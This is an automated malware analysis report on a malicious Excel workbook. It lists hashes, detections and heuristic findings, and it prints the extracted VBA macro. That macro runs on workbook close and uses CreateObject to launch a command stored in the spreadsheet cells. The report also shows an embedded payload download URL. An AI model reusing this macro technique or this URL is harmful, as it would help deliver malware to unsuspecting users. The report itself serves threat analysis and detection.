Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7cf1d8228865fa79…

MALICIOUS

Office (OOXML)

21.6 KB First seen: 2020-11-05
MD5: 7a4deea00b43f8fc461c895f29710ae7 SHA-1: 9dec498bff04cee434654bc0fc3e7f1e50b9e2d8 SHA-256: 7cf1d8228865fa795b2e6a267f37058aab459620be4bb2c68d74c9fcfd5e897b
222 Risk Score

Heuristics 5

  • ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set iqgabboibthitdfiiaxwujxkf  = CreateObject(Range("A4").Value)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://46.183.222.25/err.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1310 bytes
SHA-256: e7efec031a22e2a42fa6db953ca197c9cc13b4f9943ce0f71c1e9fcd44164c34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Range("A1:J15").Select
Selection.Font.Bold = True
Selection.Font.Italic = True
Selection.Font.Underline = xlUnderlineStyleSingle
mpevkacnoczhtacfgcvghpbdr = Range("A3").Value
With Selection
.HorizontalAlignment = xlCenter
.VerticalAlignment = xlBottom
.WrapText = False
.Orientation = 0
.AddIndent = False
.IndentLevel = 0
.ShrinkToFit = False
.ReadingOrder = xlContext
.MergeCells = False
End With
Range("M5").Select
Set iqgabboibthitdfiiaxwujxkf  = CreateObject(Range("A4").Value)
Dim kzaigwmonglwpawcdxmkcilrg
kzaigwmonglwpawcdxmkcilrg = iqgabboibthitdfiiaxwujxkf.Create(mpevkacnoczhtacfgcvghpbdr)
End Sub

Attribute VB_Name = "elugilbemwwyzfipcchvbeyzj"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: 23b759450a66a83daeeee9f7f578d67b1d5363f6cbf0746fd7e9c21380c06f36
Detection
ClamAV: Xls.Malware.Sagent-10035294-0
Obfuscation or payload: unlikely